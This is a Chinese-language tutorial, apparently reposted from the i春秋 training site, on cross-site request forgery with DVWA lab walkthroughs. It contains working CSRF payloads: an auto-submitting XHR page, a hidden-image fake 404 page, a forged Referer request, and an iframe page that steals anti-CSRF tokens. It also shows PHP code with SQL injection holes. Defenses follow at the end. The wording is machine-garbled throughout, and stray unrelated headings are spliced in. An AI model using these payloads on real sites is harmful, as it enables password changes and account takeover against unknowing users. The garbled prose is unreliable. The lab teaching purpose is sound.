10分钟浅谈CSRF突破原理,Web平安的第一防线

10分钟浅谈CSRF突破原理,Web平安的第一防线

怎么用电脑设置wifi热点

10分钟浅谈CSRF突破原理,Web平安的第一防线
 
CSRF攻击即跨站请求伪造(跨站点请求伪造),是一种对网站的恶意行使,听起来似乎与XSS跨站剧本攻击有点相似,但现实上相互相差很大,XSS行使的是站点内的信托用户,而CSRF则是通过伪装来自受信托用户的请求来行使受信托的网站。
你可以这么明白CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包罗行使你的身份发邮件,发短信,举行买卖转账等,甚至偷取你的账号。
那么,今天i春秋向小伙伴先容一下
CSRF突破原理的相关内容,希望对人人学习Web平安有所辅助。文章阅读约15分钟,一定要看完哦,文末内容更精彩〜
 
CSRF攻击原理
当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会发生一个会话,在会话竣事前,用户就可以行使其自身的网站权限对网站举行操作,如:发表文章,发送邮件,会话竣事后,在举行权限操作,网站就会知道会话超期或重新登录。
当通过登录网站后,浏览器就会和可信的站点确立一个经由认证的会话。所有通过这个经由认证的会话发送请求,都被以为是可信的行为,例如转账,汇款等操作。过长或者自主竣事重叠,必须重新确立经由认证的可信平安的会话。
CSRF攻击是确立在会话之上。例如:登录了网上银行,拆分转换账营业,这是攻击者给你发来一个URL,这个URL是攻击者经心组织的有用替换,攻击者经心组织的转账营业代码,而且与你登录的是统一家银行,当你以为这是平安的链接后点击进去,你的钱就没了!
例如想给用户xxser转账1000元,正常的URL是:
secbug.org/pay.jsp?user=xxser&money=1000
而攻击者组织的URL则是:
secbug.org/pay.jsp?user=hack&money=10000

CSRF突破行使
CSRF进攻常常被用来制造蠕虫攻击,seo流量等。
剖析防御代码
获取GET参数用户名和密码,然后通过选择语句查询是否存在对应的用户,若是存在通过$ _SESSION设置一个会话:isadmin = admin,否则设置会话:isadmin = guest
判断会话中的isadmin是否为admin,若是isadmin!= admin说明用户没有登录,那么切换到登录页面,只有在管理员登录后才可以执行用户的操作。
获取POST参数用户名和密码然后插入用户表中,完成添加用户的操作。
<?php  session_start();  if (isset($_GET['login'])) {  $con=MySQLi_connect("127.0.0.1","root","123456","test");  if (mysql_connect_errno()) {    echo "毗邻失败".mysql_connect_errno();  }  $username = addslashes($_GET['username']);  $password = $_GET['password'];  $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");  $row = mysqli_fetch_array($result);  if($row){    $_SESSION['isadmin'] = 'admin';    exit("登录乐成");  } else{    $_SESSION['isadmin'] = 'guest';    exit("登录失败");  }  } else{  $_SESSION['isadmin'] = 'guest';  }  if($_SESSION['isadmin'] != 'admin'){  exit("请登录……");  }  if(isset($_POST['submit'])){  if (isset($_POST['username'])) {    $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");    exit($_POST['username']."添加乐成");  }  }?>
这是后台php源码。
攻击者需要做的就是组织一个请求,请求的URL就是php文件的URL,参数是submit = 1&username = 1&password = 1,请求有用载荷会自动行使原始码的特征添加一个用户:
<!DOCTYPE html><html><head>  <meta charset="utf-8">  <title>CSRF破绽实践</title></head><body>  <script type="text/JAVAscript">  var pauses = new Array("16");  var methods = new Array("POST");  var urls = new Array("isadmin.php");  var params = new Array("submit=1&username=1&password=1");  function pausecomp(millis){    var date = new Date();    var curDate = null ;    do{      curDate = new Date();    }while(curDate-date<millis);  }  function run(){    var count = 1 ;    var i = 0 ;    for( i=0 ; i < count ; i ++){      makeXHR(methods[i],urls[i],params[i]);      pausecomp(pausecomp[i]);    }  }  var http_request = false ;  function makeXHR(method , url , paramters){    http_request = false ;    if(window.XMLHttpRequest){      http_request = new XMLHttpRequest() ;      if(http_request.overrideMinmeType){      http_request.overrideMinmeType('text/html');      }    } else if(window.ActiveXObject){      try{      http_request = new ActiveXObject("Msxml2.XMLHTTP");      } catch(e){      try{        http_request = new ActiveXObject("Microsoft.XMLHTTP");      } catch (e){ }      }    }    if(!http_request){      alert('Cannot create XMLHTTP instance');      return false;    }    if(method == 'GET'){      if(url.indexOf('?') == -1){      url = url + '?' + paramters;      } else{      url = url + '&' + paramters;      }      http_request.open(method,url,true);      http_request.send("");    } else if(method == 'POST'){      http_request.open(method,url,true);      http_request.setRequestHeader("Content-type","Application/x-www.form-urlencoded");      http_request.setRequestHeader("Content-length",paramters.length);      http_request.setRequestHeader("Connection","close");      http_request.send(paramters);    }  }  </script></body></html>
DVWA平台CSRF
没有找到比较好的原始文件,于是找到了DVWA。
low
  • 前端源码
<h3>Change your admin password:</h3><br><form action="#" method="GET">New password:<br><input autocomplete="off" name="password_new" type="password"><br>Confirm new password:<br><input autocomplete="off" name="password_conf" type="password"><br><br><input value="Change" name="Change" type="submit"></form>
前端原始码的异常简朴,是一个修改密码的CSRF,表单接纳GET方式更改提交。
  • 后端源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
可以看到预期吸收数据后会验证两次密码是否重复,然后修改密码。
  • 组织有用Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,遭受一旦点击该URL链接,就意味着受害者执行了同样的操作,这个历程就是CSRF。
笔者位于的DVWA使用的登录密码,被替换为“ 123456”。
  • 重点
这里的攻击确立是行使受害者的Cookie向服务器发送伪造请求(Payload),若是用户使用的是一个与xxser.com保持会话登录的浏览器重置有用负载URL,受害者的密码就会发生更改。
现如今,人们的平安意识普遍增高,我们可以接纳短链接这种方式来举行优化,例如百度,

XSS网络攻击

新浪的短链接替换,以便削减图片内容,密码修改后的页面会有提醒。

  • 高明的做法(从一位先辈copy过来的)
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Payload</title></head><body><img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"><h1>404</h1><h2>file not found.</h2></body></html>
页面的作用是加载一个伪404的页面,现实上可以接见该页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,现实的行为就是加载该html页面的同时图片会加载,也就执行了有用负载。
middle
  • 前端源码(添加了http_referer头的验证)
<?phpif( isset( $_GET[ 'Change' ] ) ) {// HTTP_REFERER :查询当前页的前一页的地址信息// SERVER_NAME:获取域名if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {  // stripos() :查字符第一次泛起的位置,  $pass_new= $_GET[ 'password_new' ];  $pass_conf = $_GET[ 'password_conf' ];  // Do the passwords match?  if( $pass_new == $pass_conf ) {    // They do!    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass_new = md5( $pass_new );    // Update the database    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    // Feedback for the user    echo "<pre>Password Changed.</pre>";  }  else {    // Issue with passwords matching    echo "<pre>Passwords did not match.</pre>";  }}else {  // Didn't come from a trusted source  echo "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
检查HTTP_REFERER(http数据包的referer参数值)即
上一级URL地址信息是否包罗由HTTPHTTP数据包中的主机参数值;包罗则示意当前页面是从DVWA即上一级URL正当的行为。

 
正当的http数据包:
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-aliveUpgrade-Insecure-Requests: 1
注重第2行,第8行。
  • 剖析绕过
然则stripos()函数写的头验证是可以绕过的〜stripos()函数是多次匹配;只要包罗了目的主机地址就可以可以绕过过strips()函数写的验证语句
若是我们依旧凭据确立一个伪造的攻击页面,stripos()头验证就会验证,而页面并非来自DVWA,于是深挖stripos()函数的扩展,发现函数会多次匹配,于是思绪就是确立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证。
  • Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/127.0.0.1.htmlCookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-alive

这里注重:
我们将Payload命名为“ 127.0.0.1.html”
 
high
  • 前端源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 加入 Anti-CSRF token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>
加入反CSRF令牌机制,用户接见改密页面时,服务器返回令牌,只有用户提交令牌参数才可以举行改密行为。
  • 剖析绕过
我们组织有用载荷页面的时刻,就需要考虑到执行改密行为必须向服务器发送令牌,而令牌只有在改密页面才可以获得;
凭据先辈的思绪:
行使受害者的cookie去改密页面获取令牌。
<script type="text/JavaScript">function attack(){ document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}</script><iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe><body οnlοad="attack()"><form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"> </form></body>
攻击提醒是当受害者点击进入该页面,剧本会通过一个看不见框架偷偷接见修改密码的页面,获取页面中的令牌,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差异是伟大的,这里牵涉到了跨域问题,而现在的浏览器是星散跨域请求的。这里简朴注释下跨域,我们的框架iframe接见的地址是http://169.254。 36.73 / DVWA主站/破绽/ csrf /,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,其中的域名差别,域名B下的所有页面都自动获取域名A下的页面内容,除非域名A下的页面自动发送信息给域名B的页面,以是我们的攻击剧本是不能能取到改密界面中的user_token。
由于跨域是不能实现的,以是我们将攻击代码注入到目的服务器169.254.36.73中,才有可能完成攻击。下面行使高级XSS入侵协助赢得Anti-CSRF令牌(由于这里的XSS注入有长度限制,不能够注入完整的攻击剧本,以是只获取Anti-CSRF token)
这里的名称存在XSS突破,于是抓包,改参数,乐成删除令牌链接。
10分钟浅谈CSRF突破原理,Web平安的第一防线
 
通过DVWA平台的CSRF实例,简朴的总结了CSRF的特征和应对措施:
 
CSRF应对措施
从DVWA的测试中总结:在不能能的品级的原始代码中,行使了PDO手艺防御SQL注入,CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法举行CSRF的!
CSRF防御手段
  • 使用POST,限制GET
GET方式最容易受到CSRF攻击,只要简朴的组织有用剂量就可能导致CSRF;使用POST可以大水平的减低CSRF显示率
  • 浏览器Cookie计谋
老浏览器会阻挡第三方内陆Cookie的发送,而新浏览器则不会阻挡发送;
 
  • 添加验证码
简朴粗暴还有用;可以大水平的增添人机交互的历程,制止用户被偷偷的偷袭
  • 推荐人检查
检查请求是否来自于正当的源
  • 反CSRF令牌

令牌的值必须是随机的,不能展望的。由于令牌的存在,攻击者无法再组织一个带有正当令牌的请求实行CSRF攻击。另外使用令牌时应注重其保密性,只管把敏感的操作由GET改写POST,以表格或AJAX形式提交,制止令牌替换。
  • 总结
CSRF攻击是攻击者行使用户的身份操作用户帐户的一种攻击方式,通常使用反CSRF令牌来防御CSRF攻击,同时要注重令牌的保密性和随机性。
现实上是网络平安除CSRF之外,还包罗SQL注入,XSS等众多知识点,繁杂且不成系统,若要深入学习Web平安攻防内容,一定要从基础抓起:https://www.ichunqiu.com/train/course/11?form=weixin

关机后远程唤醒的配置,简单实现广域网远程开机和连接

分享到 :
相关推荐

发表评论

登录... 后才能评论